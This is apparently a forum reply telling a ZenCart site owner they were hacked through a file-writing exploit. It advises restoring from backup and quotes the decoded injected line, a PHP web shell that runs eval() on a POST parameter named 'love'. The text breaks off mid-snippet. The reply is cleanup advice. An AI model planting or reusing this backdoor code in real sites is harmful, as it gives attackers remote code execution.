Yes, you have been hacked.

ZenCart have announced a security exploit that allows files to be written to, and run on, your server. See
http://www.zen-cart.com/forum/showthread.php?t=130161

The exploit also writes records to the record_company table, and you can see the names of files that have been written in there. One of them is a script to insert a piece of code into other files which will produce the error you are seeing.

You will need to re-install from backup, as probably many of your files will have been altered. However, it is safe to delete the line 1 quoted above (leave <?php in place). It is just base 64 encoded code for

if(\$_GET['testorrr']=='1'){ echo 'i love you'; exit; }
if(isset(\$_POST['love'])){
eval(\$_POST['love']);
exit;